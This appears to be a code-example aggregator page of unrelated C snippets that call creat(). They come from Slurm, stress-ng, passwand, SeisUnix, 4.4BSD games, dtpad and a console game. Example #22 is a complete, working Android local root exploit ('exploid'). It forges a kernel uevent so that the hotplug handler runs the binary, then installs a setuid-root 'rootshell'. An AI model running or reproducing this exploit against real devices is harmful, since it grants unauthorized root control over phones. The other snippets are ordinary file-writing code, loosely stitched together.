	if (f__w_mode[0] != f__w_mode[b->ufmt]) {
	 	if (!(bf = freopen(b->ufnm, f__w_mode[b->ufmt|2], bf)))
			goto bad1;
		fseek(bf, loc, SEEK_SET);
		}
done1:
	fclose(tf);
	unlink(nm);
done:
	f__cf = b->ufd = bf;
#else
	if (copy(b->ufnm, loc, nm)
	 || copy(nm, loc, b->ufnm))
		rc = 1;
	unlink(nm);
	fseek(b->ufd, loc, SEEK_SET);
done:
#endif
	if (rc)
		err(a->aerr,111,"endfile");
	return 0;
	}
コード例 #22
0
ファイル: exploid.c プロジェクト: raziel23x/UniversalAndroot
int main(int argc, char **argv, char **env)
{
   char buf[512], path[512], buf2[512];
   int ofd, ifd;
   struct sockaddr_nl snl;
   struct iovec iov = {buf, sizeof(buf)};
   struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
   int sock;
   char *basedir = NULL;
        int len;
        char path_fix[512];

        /* shakalaca: check if this program is called from UI or from CLI { */
   char pwd[128];

   memset(pwd, 0, sizeof(pwd));
   readlink("/proc/self/fd/0", pwd, sizeof(pwd));
        /* shakalaca: check if this program is called from UI or from CLI } */
   
    /* I hope there is no LD_ bug in androids rtld :) */
   if (geteuid() == 0 && getuid() != 0)
      rootshell(env, argv);

        memset(path, 0, sizeof(path));
   if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
      die("[-] readlink");

        len = strlen(path);
        if (path[len - 1] > 127) {
          len--;
        }
        
   if (geteuid() == 0) {
                char mp[128], fstype[16];
      clear_hotplug();
      /* remount /system rw */
                /* shakalaca: read mount settings from file { */
      /*
      if (mount("/dev/mtdblock0", "/system", "yaffs2", MS_REMOUNT, 0) < 0)
         mount("/dev/mtdblock0", "/system", "yaffs", MS_REMOUNT, 0);
                */
                /* shakalaca: check mount file and change to right directory */
                if ((ifd = open("/sqlite_stmt_journals/mount", O_RDONLY)) < 0) {
                  if ((ifd = open("/data/local/tmp/mount", O_RDONLY)) < 0) {
                    if ((ifd = open("/data/data/com.corner23.android.universalandroot/files/mount", O_RDONLY)) < 0) {
                      die("[-] missing required files..");
                    } else {
                      chdir("data/data/com.corner23.android.universalandroot/files/");
                      close(ifd);
                    }
                  } else {
                    chdir("/data/local/tmp");
                    close(ifd);
                  }
                } else {
                  chdir("/sqlite_stmt_journals");
                  close(ifd);
                }
                
                if ((ifd = open("mount", O_RDONLY)) < 0)
                        die("[-] open mount point");
      if (read(ifd, mp, sizeof(mp)) < 0)
              die("[-] read mount point");
                close(ifd);

                if ((ifd = open("fs_type", O_RDONLY)) < 0)
                        die("[-] open fs type");
      if (read(ifd, fstype, sizeof(fstype)) < 0)
              die("[-] read fs type");
                close(ifd);

                mount(mp, "/data", fstype, MS_REMOUNT, 0);
                /* shakalaca: read mount settings from file } */
                
                strncpy(path_fix, path, len);
                path_fix[len] = '\0';
      copy(path_fix, "/data/local/tmp/rootshell");
      chmod("/data/local/tmp/rootshell", 04711);
      /* shakalaca: do not loop forever, it will eat cpu resource { */
      /* 
      for (;;); 
      */
      exit(1);
      /* shakalaca: do not loop forever, it will eat cpu resource } */
   }

   printf("[*] Android local root exploid (C) The Android Exploid Crew\n");
   printf("[*] Modified by shakalaca for various devices\n");

   /*
   basedir = "/sqlite_stmt_journals";
   if (chdir(basedir) < 0) {
      basedir = "/data/local/tmp";
      if (chdir(basedir) < 0)
         basedir = strdup(getcwd(buf, sizeof(buf)));
   }
   */
        basedir = "/sqlite_stmt_journals";
        if (chdir(basedir) < 0) {
                basedir = strdup(getcwd(buf, sizeof(buf)));
                if (chdir("/data/local/tmp") < 0) {
                        // Use from Android UI, fall back to project directory
                   if (strncmp(pwd, "/dev/pts/", 9) != 0) {
                                basedir = "/data/data/com.corner23.android.universalandroot/files";
                                if (chdir(basedir) < 0)
                                        die("[-] chdir");
                        }
                } else {
                        // test if it's writable
                        if ((ofd = creat("test", 0644)) < 0) {
                                if (strncmp(pwd, "/dev/pts/", 9) != 0) {
                                        // Use from Android UI, fall back to project directory
                                        basedir = "/data/data/com.corner23.android.universalandroot/files";
                                }
                                if (chdir(basedir) < 0) 
                                        die("[-] chdir");
                        } else {
                                basedir = "/data/local/tmp";
                                unlink("test");
                        }
                        close(ofd);
                }
        }
   
   printf("[+] Using basedir=%s, path=%s\n", basedir, path);
   printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");
   
   /* shakalaca: remove old data if possible { */
   unlink("data");
   unlink("hotplug");
   unlink("loading");
   unlink("mount");
   unlink("fs_type");
   /* shakalaca: remove old data if possible } */

   memset(&snl, 0, sizeof(snl));
   snl.nl_pid = 1;
   snl.nl_family = AF_NETLINK;

   if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
      die("[-] socket");

   close(creat("loading", 0666));
   if ((ofd = creat("hotplug", 0644)) < 0)
      die("[-] creat");
   if (write(ofd, path, len) < 0)
      die("[-] write");
   close(ofd);

   /* shakalaca: for remember mount device and filesystem type of /system { */
   if ((ofd = creat("mount", 0644)) < 0)
                die("[-] creat mount point");
        if (write(ofd, argv[1], strlen(argv[1])) < 0)
                die("[-] write mount point");        
        close(ofd);

   if ((ofd = creat("fs_type", 0644)) < 0)
                die("[-] creat fs type");
        if (write(ofd, argv[2], strlen(argv[2])) < 0)
                die("[-] write fs type");        
        close(ofd);
   /* shakalaca: for remember mount device and filesystem type of /system } */
   
   symlink("/proc/sys/kernel/hotplug", "data");
   snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
            "SUBSYSTEM=firmware%c"
            "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
   printf("[+] sending add message ...\n");
   if (sendmsg(sock, &msg, 0) < 0)
      die("[-] sendmsg");
   close(sock);
   printf("[*] Try to invoke hotplug now, clicking at the wireless\n"
          "[*] settings, plugin USB key etc.\n"
          "[*] You succeeded if you find /system/bin/rootshell.\n"
          "[*] GUI might hang/restart meanwhile so be patient.\n");
   sleep(3);
   return 0;
}
コード例 #23
0
ファイル: .cpp プロジェクト: sxynwh/mouseEventGame.cpp
void main()
{ int x,y,x0,y0;
  int flag=0;
  int flag1=1;
  struct node * head;
  struct node * head2;
  int m[1]={0};
  int r[21];
  int po1[378]={0};
  char po[24]={0};
  beijing1();
  beijing2();
  choose(po);
  mukuai();
  suiji(r,po1);
  head=creat(po1); 
//  print(head);
  while(1)
  {
    HANDLE hOut,hIn;
    DWORD Result;
    INPUT_RECORD Buf;
 
	 hOut=GetStdHandle(STD_OUTPUT_HANDLE);
	 hIn=GetStdHandle(STD_INPUT_HANDLE);
	 int a[2];
	 do
		{
			ReadConsoleInput(hIn,&Buf,1,&Result);
			if(Buf.EventType==MOUSE_EVENT)
			{
				HandleMouse(Buf.Event.MouseEvent,a);
				x=a[0];
	   			y=a[1];
			}
		} while(!(Buf.EventType==MOUSE_EVENT&&Buf.Event.MouseEvent.dwEventFlags==DOUBLE_CLICK));


  
	HANDLE hOut1,hIn1;
	DWORD Result1;
	INPUT_RECORD Buf1;
	hOut1=GetStdHandle(STD_OUTPUT_HANDLE);
	hIn1=GetStdHandle(STD_INPUT_HANDLE);
	int a0[2];
    do
		{
			ReadConsoleInput(hIn1,&Buf1,1,&Result1);
			if(Buf1.EventType==MOUSE_EVENT)
			{
				HandleMouse1(Buf1.Event.MouseEvent,a0);
				x0=a0[0];
	   			y0=a0[1];
			}
		} while(!(Buf1.EventType==MOUSE_EVENT&&Buf1.Event.MouseEvent.dwEventFlags==DOUBLE_CLICK)); 
     

	//  清屏的按钮
   /*  if(x0>=86&&x0<=100&&y0>=8&&y0<=10)
     {   clear(r,po1,po);
	     free(head);

	     continue;
	 }*/
	  if(x0>=74&&x0<=82&&y0>=25&&y0<=27)	
         flag=save(head);
	 
	  // if(x0>=85&&x0<=93&&y0>=25&&y0<=27)	
       //  open();
	 
	   if(x0>=96&&x0<=104&&y0>=25&&y0<=27)	
	   {   ////// 上次运行的结果
		   if(flag1==1)
			{ flag1=0;
		      //print(head);
		      SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|BACKGROUND_GREEN|BACKGROUND_INTENSITY);
              COORD pos1;
	          pos1.X=0;
		      pos1.Y=60;
	          SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos1);
			}  
		    
		   if(flag==1)
			{ flag=0;
		      print(head);
		      SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|BACKGROUND_GREEN|BACKGROUND_INTENSITY);
              COORD pos1;
	          pos1.X=0;
		      pos1.Y=60;
	          SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos1);
              break; 
			}
		  else if(flag==0)
			{   
			  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|BACKGROUND_GREEN|BACKGROUND_INTENSITY);
              COORD pos0;
	          pos0.X=10;
		      pos0.Y=32;
	          SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos0);
			  printf("    请您先保存 !    ");
			}
			  //   保存
	 }
		
		

     if(x0>=10&&x0<=51&&y0>=7&&y0<=28)
	 {  x0=x0/2*2;  //   取偶数点
		    if(x>=68&&x<=69&&y>=8&&y<=10)            
			{ 
				mu1(x0,y0-2,po,1);    head2=insert(po,head); // print(head2);  
			}
			          
		    else if(x>=76&&x<=81&&y==9)                
			{ 
			    mu2(x0-4,y0,po,1);    head2=insert(po,head);  // print(head2);
			}     
		    else if(x>=68&&x<=73&&y>=14&&y<=16)        
			{ mu3(x0-2,y0-1,po,1);    head2=insert(po,head);  // print(head2);   
			}    
			else if(x>=76&&x<=81&&y>=14&&y<=16)        
			{ mu4(x0-2,y0-1,po,1);      head2=insert(po,head);  // print(head2);   
			}  
			else if(x>=86&&x<=91&&y>=14&&y<=16)        
			{ mu5(x0-2,y0+1,po,1);      head2=insert(po,head);   // print(head2);   
			}   
			else if(x>=98&&x<=103&&y>=14&&y<=16)       
			{ mu6(x0-5,y0,po,1);      head2=insert(po,head);   // print(head2);    
			}                 
			else if(x>=68&&x<=73&&y>=20&&y<=22)        
			{ mu7(x0,y0-2,po,1);      head2=insert(po,head);  // print(head2);   
			}                 
			else if(x>=76&&x<=81&&y>=20&&y<=22)        
			{ mu8(x0-4,y0-1,po,1);    head2=insert(po,head);  // print(head2);    
			}
			else if(x>=86&&x<=91&&y>=20&&y<=22)        
			{ mu9(x0,y0-2,po,1);      head2=insert(po,head);  // print(head2);   
			}              
			else if(x>=99&&x<=104&&y>=20&&y<=22)       
			{ mu10(x0,y0,po,1);       head2=insert(po,head);  // print(head2);   
			} 
			else if(x>=68&&x<=71&&y>=26&&y<=28)        
			{ mu11(x0-2,y0-1,po,1);   head2=insert(po,head);  // print(head2);    
			}
	}
  }	
}
コード例 #24
0
ファイル: save.c プロジェクト: Kiddinglife/4.4BSD-Lite
save() {

	extern int	errno;
	reg char	*sp;
	reg int		outf;
	reg time_t	*tp;
	char		buf[80];
	time_t		tme;
	STAT		junk;

	tp = &tme;
	if (Fromfile && getyn(SAMEFILEPROMPT))
		strcpy(buf, Fromfile);
	else {
over:
		prompt(FILEPROMPT);
		leaveok(Board, FALSE);
		refresh();
		sp = buf;
		while ((*sp = readch()) != '\n') {
			if (*sp == killchar())
				goto over;
			else if (*sp == erasechar()) {
				if (--sp < buf)
					sp = buf;
				else {
					addch('\b');
					/*
					 * if the previous char was a control
					 * char, cover up two characters.
					 */
					if (*sp < ' ')
						addch('\b');
					clrtoeol();
				}
			}
			else {
				addstr(unctrl(*sp));
				++sp;
			}
			refresh();
		}
		*sp = '\0';
		leaveok(Board, TRUE);
	}

	/*
	 * check for existing files, and confirm overwrite if needed
	 */

	if (sp == buf || (!Fromfile && stat(buf, &junk) > -1
	    && getyn(OVERWRITEFILEPROMPT) == FALSE))
		return FALSE;

	if ((outf = creat(buf, 0644)) < 0) {
		error(strerror(errno));
		return FALSE;
	}
	mvwaddstr(Score, ERR_Y, ERR_X, buf);
	wrefresh(Score);
	time(tp);			/* get current time		*/
	strcpy(buf, ctime(tp));
	for (sp = buf; *sp != '\n'; sp++)
		continue;
	*sp = '\0';
	varpush(outf, write);
	close(outf);
	wprintw(Score, " [%s]", buf);
	wclrtoeol(Score);
	wrefresh(Score);
	return TRUE;
}
コード例 #25
0
/* ARGSUSED */
void 
SaveSessionCB(
        Widget w,			/* widget id */
        caddr_t client_data,		/* data from application  */
        caddr_t call_data )		/* data from widget class */
{
    char *longpath, *fileName;
    int fd, numPadsToSave;
    char *xa_CommandStr[10];
    char *tmpStr, bufr[1024];
    Editor *pPad;
    int i;

    /* Xt may not pass a widget as advertised (??? is this needed? - hp) */
    if(!XtIsShell(w))
	w = XtParent(w);

    for(pPad = pPadList, numPadsToSave = 0; pPad != (Editor *)NULL; 
	pPad = pPad->pNextPad)
    {
	if(pPad->inUse == True)
	    numPadsToSave++;
    }
    if(numPadsToSave < 1)
    {
        xa_CommandStr[0] = (char *)NULL;
        XSetCommand(XtDisplay(w), XtWindow(w), xa_CommandStr, 1);
	return;
    }

    DtSessionSavePath(w, &longpath, &fileName);

    /*  Create the session file  */
    if ((fd = creat (longpath, S_IRUSR | S_IRGRP | S_IWUSR | S_IWGRP)) == -1)
    {
        tmpStr = (char *)malloc(strlen(MSG2) + strlen(longpath)+ 1);
        sprintf(tmpStr, MSG2, longpath);
        _DtSimpleErrnoError(pPad->progname, DtError, MSG1, tmpStr, NULL);
        free(tmpStr);
        XtFree ((char *)longpath);
        return;
    }

    sprintf(bufr, "*pads.numActivePads: %d\n", numPadsToSave);
    write (fd, bufr, strlen(bufr));

    for(pPad = pPadList, i = 0; pPad != (Editor *)NULL; 
	pPad = pPad->pNextPad, i++)
    {
	if(pPad->inUse == True)
	    SaveMain(pPad, i, fd);
    }

    close(fd);

    i = 0;
    xa_CommandStr[i] = pPadList->progname; i++;
    xa_CommandStr[i] =  "-session"; i++;
    xa_CommandStr[i] =  fileName; i++;

    XSetCommand(XtDisplay(topLevelWithWmCommand), 
		XtWindow(topLevelWithWmCommand), xa_CommandStr, i);

    XtFree ((char *)fileName);
}
コード例 #26
0
ファイル: export.c プロジェクト: Smattr/passwand
passwand_error_t passwand_export(const char *path, passwand_entry_t *entries, size_t entry_len) {

    assert(path != NULL);
    assert(entries != NULL || entry_len == 0);

    /* Create a new array as the top level JSON object in the export file. */
    json_object *j __attribute__((cleanup(disown))) = json_object_new_array();
    if (j == NULL)
        return PW_NO_MEM;

    for (size_t i = 0; i < entry_len; i++) {

        /* Encapsulate each entry in a JSON dictionary. */
        json_object *d = json_object_new_object();
        if (d == NULL)
            return PW_NO_MEM;

#define ADD(field) \
    do { \
        passwand_error_t err = add_to_dict(d, #field, entries[i].field, entries[i].field##_len); \
        if (err != PW_OK) { \
            json_object_put(d); \
            return err; \
        } \
    } while (0)

        ADD(space);
        ADD(key);
        ADD(value);
        ADD(hmac);
        ADD(hmac_salt);
        ADD(salt);
        ADD(iv);

#undef ADD

        json_object_array_add(j, d);
    }

    /* Now write out the array to the given file. */

    size_t path_len = strlen(path);
    if (SIZE_MAX - path_len < 2)
        return PW_OVERFLOW;
    char *tmp __attribute__((cleanup(autofree))) = malloc(strlen(path) + 2);
    if (tmp == NULL)
        return PW_NO_MEM;
    sprintf(tmp, "%s~", path);
    int fd = creat(tmp, 0600);
    if (fd == -1)
        return PW_IO;

    const char *json = json_object_to_json_string_ext(j, JSON_C_TO_STRING_PLAIN);
    size_t len = strlen(json);
    ssize_t written = write(fd, json, len);
    close(fd);
    if (written < 0 || (size_t)written != len) {
        unlink(tmp);
        return PW_IO;
    }

    if (rename(tmp, path) == -1) {
        unlink(tmp);
        return PW_IO;
    }

    return PW_OK;
}
コード例 #27
0
ファイル: defaults.c プロジェクト: FredHutch/slurm
extern int save_defaults(bool final_save)
{
	char *reg_file = NULL, *old_file = NULL, *new_file = NULL;
	char *home = getenv("HOME");
	int rc = SLURM_SUCCESS;
	char *tmp_str = NULL, *tmp_str2 = NULL;
	int fd = 0;
	int i = 0;
	display_data_t *display_data;

	if (!home)
		return SLURM_ERROR;

	reg_file = xstrdup_printf("%s/.slurm", home);
	if ((mkdir(reg_file, 0750) < 0) && (errno != EEXIST)) {
		error("mkdir(%s): %m", reg_file);
		rc = SLURM_ERROR;
		goto end_it;
	}
	xstrcat(reg_file, "/sviewrc");
	old_file = xstrdup_printf("%s.old", reg_file);
	new_file = xstrdup_printf("%s.new", reg_file);

	fd = creat(new_file, 0600);
	if (fd < 0) {
		error("Can't save config file %s error %m", reg_file);
		rc = errno;
		goto end_it;
	}

	tmp_str = xstrdup_printf("AdminMode=%s\n",
				 default_sview_config.admin_mode ?
				 "YES" : "NO");
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("DefaultPage=%s\n",
				 page_to_str(default_sview_config.
					     default_page));
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("GridHorizontal=%u\n",
				 default_sview_config.grid_hori);
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("GridTopo=%s\n",
				 default_sview_config.grid_topological ?
				 "YES" : "NO");
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("GridVertical=%u\n",
				 default_sview_config.grid_vert);
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("GridXWidth=%u\n",
				 default_sview_config.grid_x_width);
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("ButtonSize=%u\n",
				 default_sview_config.button_size);
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("RefreshDelay=%u\n",
				 default_sview_config.refresh_delay);
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("MainWidth=%u\n",
				 default_sview_config.main_width);
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("MainHeight=%u\n",
				 default_sview_config.main_height);
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("FullInfoPopupWidth=%u\n",
				 default_sview_config.fi_popup_width);
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("FullInfoPopupHeight=%u\n",
				 default_sview_config.fi_popup_height);
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("RuledTables=%s\n",
				 default_sview_config.ruled_treeview ?
				 "YES" : "NO");
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("ShowGrid=%s\n",
				 default_sview_config.show_grid ?
				 "YES" : "NO");
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("ShowHidden=%s\n",
				 default_sview_config.show_hidden ?
				 "YES" : "NO");
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("SavePageSettings=%s\n",
				 default_sview_config.save_page_opts ?
				 "YES" : "NO");
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str = xstrdup_printf("TabPosition=%s\n",
				 tab_pos_to_str(default_sview_config.tab_pos));
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;
	tmp_str2 = visible_to_str(&default_sview_config);
	tmp_str = xstrdup_printf("VisiblePages=%s\n", tmp_str2);
	xfree(tmp_str2);
	rc = _write_to_file(fd, tmp_str);
	xfree(tmp_str);
	if (rc != SLURM_SUCCESS)
		goto end_it;

	/* save all current page options */
	for (i=0; i<PAGE_CNT; i++) {
		page_opts_t *page_opts =
			&working_sview_config.page_opts[i];

		if (!page_opts->page_name)
			continue;

		if (working_sview_config.save_page_opts) {
			display_data = page_opts->display_data;
			while (display_data++) {
				if (display_data->id == -1)
					break;
				if (!display_data->name || !display_data->show)
					continue;

				if (tmp_str2)
					xstrcat(tmp_str2, ",");
				xstrfmtcat(tmp_str2, "%s", display_data->name);
			} //spin the menu options ^^
		} else if (!page_opts->def_col_list
			   && page_opts->col_list
			   && list_count(page_opts->col_list)) {
			ListIterator itr =
				list_iterator_create(page_opts->col_list);
			char *col_name = NULL;
			//user requested no save of page options
			while ((col_name = list_next(itr))) {
				if (tmp_str2)
					xstrcat(tmp_str2, ",");
				xstrfmtcat(tmp_str2, "%s", col_name);
			}
			list_iterator_destroy(itr);
		}

		if (tmp_str2) {
			replspace(tmp_str2);
			tmp_str = xstrdup_printf("PageOpts%s=%s\n",
						 page_opts->page_name,
						 tmp_str2);
			xfree(tmp_str2);
			rc = _write_to_file(fd, tmp_str);
			xfree(tmp_str);
			if (rc != SLURM_SUCCESS)
				goto end_it;
		}
	}//spin the pages

end_it:
	fsync(fd);
	close(fd);

	if (rc)
		(void) unlink(new_file);
	else {			/* file shuffle */
		(void) unlink(old_file);
		if (link(reg_file, old_file))
			debug4("unable to create link for %s -> %s: %m",
			       reg_file, old_file);
		(void) unlink(reg_file);
		if (link(new_file, reg_file))
			debug4("unable to create link for %s -> %s: %m",
			       new_file, reg_file);
		(void) unlink(new_file);
	}

	xfree(old_file);
	xfree(new_file);
	xfree(reg_file);
	return rc;
}
コード例 #28
0
ファイル: sucompress2.c プロジェクト: JOravetz/SeisUnix
main (int argc , char **argv) {
int i, nratio=0, ndistort=0, ns=0, ntrace=0, ntraceo=0, nso=0, heado=0, hbyteo=0, itrace=0, outfd=0;
long size=0, clen=0, nwrite=0;
short *data;
float ratio[100], distort[100], time0=0, lambda=LAMBDA, actual=0, mse=0, dmse=0;
register float *dp1, *dp2, *dp3, *de;
char *cbuf, *dout, *dbuf, *mode="both", *out;

/* SU initializations */
initargs (argc,argv);
askdoc (1);

/* fetch parameters */
if (filestat(0) == TTY) err ("no input file");
if (getparstring ("out",&out) == 0) err ("out= missing");
if ((outfd = creat(out,0664)) < 0) err ("cant create out=%s",out);
nratio = getparfloat ("compress",ratio);
if (!nratio) nratio = getparfloat ("ratio",ratio);
ndistort = getparfloat ("distort",distort);
if (!nratio && !ndistort) err ("no ratio= or distort= specified");
for (i=0; i<nratio; i++) {
	if (ratio[i] < 3) err ("ratios must be 3 or greater");
	}
getparstring ("mode",&mode);

/* storage */
size = lseek64 (0,0,2);
data = (short*)malloc(size);
lseek64 (0,0,0);
read (0,data,size);
dbuf = (char*)malloc(size);
bcopy((char*)(data+1800),(char*)dbuf,(size-3600));
ns= data[1857];
ntrace = (size - 3600) / (ns*4 + 240);
size = 3600 + ntrace * (ns*4 + 240);
if (ntrace < 1) err ("ntrace < 1");
nwrite = write (outfd,data,size);
fprintf (stderr, "ns=%d ntrace=%d mode=%s\n", ns, ntrace, mode);

/* data mse */
dp1 = (float*)data;
dmse = 0.0;
for (itrace=0, dp1+=960; itrace<ntrace; itrace++, dp1+=60) {
	for (de=dp1+ns; dp1<de; dp1++) dmse += *dp1 * *dp1;
	}
if (dmse == 0.0) err ("data appears to be all zeros");

/* cycle through compressions */
for (i=0; i<nratio; i++) {
	time0 = cputime();
	seismic_compress ((char*)(data+1800),(long)(size-3600),&ntrace,&ns,DATA_FORMAT,
		0,240,ENDIAN,ratio[i],0.0,&lambda,&cbuf,&clen,&actual,0);
	seismic_decompress (cbuf,DATA_FORMAT,&ntraceo,&nso,&heado,&hbyteo,ENDIAN,
		&clen,&dout);
	lseek64 (0,nwrite,0);
	if (strcmp(mode,"diff")) {
		nwrite += write (outfd,dout,clen);
		}
	dp1 = (float*)data;
	dp2 = (float*)dout;
	dp3 = (float*)dbuf;
	mse = 0.0;
	for (itrace=0, dp1+=960, dp2+=60, dp3+=60; itrace<ntrace; itrace++, dp1+=60, dp2+=60, dp3+=60) {
		for (de=dp1+ns; dp1<de; dp1++, dp2++, dp3++) {
			*dp3 = *dp1 - *dp2;
			mse += *dp3 * *dp3;
			}
		}
	mse = sqrt (mse / dmse);
	fprintf (stderr,"compress ratio=%g actual=%g megabytes/sec=%g mse=%g\n",ratio[i],actual,(size-3600)*.000004/(cputime()-time0),mse);
	if (strcmp(mode,"data")) {
		nwrite += write (outfd,dbuf,clen);
		}
	free (cbuf);
	free (dout);
	}
for (i=0; i<ndistort; i++) {
	time0 = cputime();
	seismic_compress ((char*)(data+1800),(long)(size-3600),&ntrace,&ns,DATA_FORMAT,
		0,240,ENDIAN,0.0,distort[i],&lambda,&cbuf,&clen,&actual,0);
	seismic_decompress (cbuf,DATA_FORMAT,&ntraceo,&nso,&heado,&hbyteo,ENDIAN,
		&clen,&dout);
	fprintf (stderr,"compress mse=%g ratio=%g megabytes/sec=%g\n",distort[i],actual,(size-3600)*.000004/(cputime()-time0));
	lseek64 (0,nwrite,0);
	nwrite += write (outfd,dout,clen);
	free (cbuf);
	free (dout);
	}
}
コード例 #29
0
ファイル: stress-chmod.c プロジェクト: jamesodhunt/stress-ng
/*
 *  stress_chmod
 *	stress chmod
 */
int stress_chmod(
	uint64_t *const counter,
	const uint32_t instance,
	const uint64_t max_ops,
	const char *name)
{
	const pid_t ppid = getppid();
	int i, fd = -1, rc = EXIT_FAILURE, retries = 0;
	mode_t all_mask = 0;
	char filename[PATH_MAX], dirname[PATH_MAX];

	/*
	 *  Allow for multiple workers to chmod the *same* file
	 */
	stress_temp_dir(dirname, sizeof(dirname), name, ppid, 0);
        if (mkdir(dirname, S_IRWXU) < 0) {
		if (errno != EEXIST) {
			pr_fail_err(name, "mkdir");
			return EXIT_FAILURE;
		}
	}
	(void)stress_temp_filename(filename, sizeof(filename),
		name, ppid, 0, 0);

	do {
		errno = 0;
		/*
		 *  Try and open the file, it may be impossible momentarily
		 *  because other chmod stressors have already created it and
		 *  changed the permission bits. If so, wait a while and retry.
		 */
		if ((fd = creat(filename, S_IRUSR | S_IWUSR)) < 0) {
			if (errno == EPERM || errno == EACCES) {
				(void)usleep(100000);
				continue;
			}
			pr_fail_err(name, "open");
			goto tidy;
		}
		break;
	} while (opt_do_run && ++retries < 100);

	if (retries >= 100) {
		pr_err(stderr, "%s: chmod: file %s took %d retries to create (instance %" PRIu32 ")\n",
			name, filename, retries, instance);
		goto tidy;
	}

	for (i = 0; modes[i]; i++)
		all_mask |= modes[i];

	do {
		mode_t mask = 0;

		for (i = 0; modes[i]; i++) {
			mask |= modes[i];
			if (do_fchmod(fd, i, mask, all_mask) < 0) {
				pr_fail(stderr, "%s: fchmod: errno=%d (%s)\n",
					name, errno, strerror(errno));
			}
			if (do_chmod(filename, i, mask, all_mask) < 0) {
				if (errno == ENOENT || errno == ENOTDIR) {
					/*
					 * File was removed during test by
					 * another worker
					 */
					rc = EXIT_SUCCESS;
					goto tidy;
				}
				pr_fail(stderr, "%s: chmod: errno=%d (%s)\n",
					name, errno, strerror(errno));
			}
		}
		(*counter)++;
	} while (opt_do_run && (!max_ops || *counter < max_ops));

	rc = EXIT_SUCCESS;
tidy:
	(void)fchmod(fd, 0666);
	if (fd >= 0)
		(void)close(fd);
	(void)unlink(filename);
	(void)rmdir(dirname);

	return rc;
}
コード例 #30
0
static int _write_last_decay_ran(time_t last_ran, time_t last_reset)
{
	/* Save high-water mark to avoid buffer growth with copies */
	static int high_buffer_size = BUF_SIZE;
	int error_code = SLURM_SUCCESS;
	int state_fd;
	char *old_file, *new_file, *state_file;
	Buf buffer;

	if (!strcmp(slurmctld_conf.state_save_location, "/dev/null")) {
		error("Can not save priority state information, "
		      "StateSaveLocation is /dev/null");
		return error_code;
	}

	buffer = init_buf(high_buffer_size);
	pack_time(last_ran, buffer);
	pack_time(last_reset, buffer);

	/* read the file */
	old_file = xstrdup(slurmctld_conf.state_save_location);
	xstrcat(old_file, "/priority_last_decay_ran.old");
	state_file = xstrdup(slurmctld_conf.state_save_location);
	xstrcat(state_file, "/priority_last_decay_ran");
	new_file = xstrdup(slurmctld_conf.state_save_location);
	xstrcat(new_file, "/priority_last_decay_ran.new");

	lock_state_files();
	state_fd = creat(new_file, 0600);
	if (state_fd < 0) {
		error("Can't save decay state, create file %s error %m",
		      new_file);
		error_code = errno;
	} else {
		int pos = 0, nwrite = get_buf_offset(buffer), amount;
		char *data = (char *)get_buf_data(buffer);
		high_buffer_size = MAX(nwrite, high_buffer_size);
		while (nwrite > 0) {
			amount = write(state_fd, &data[pos], nwrite);
			if ((amount < 0) && (errno != EINTR)) {
				error("Error writing file %s, %m", new_file);
				error_code = errno;
				break;
			}
			nwrite -= amount;
			pos    += amount;
		}
		fsync(state_fd);
		close(state_fd);
	}

	if (error_code != SLURM_SUCCESS)
		(void) unlink(new_file);
	else {			/* file shuffle */
		(void) unlink(old_file);
		if (link(state_file, old_file))
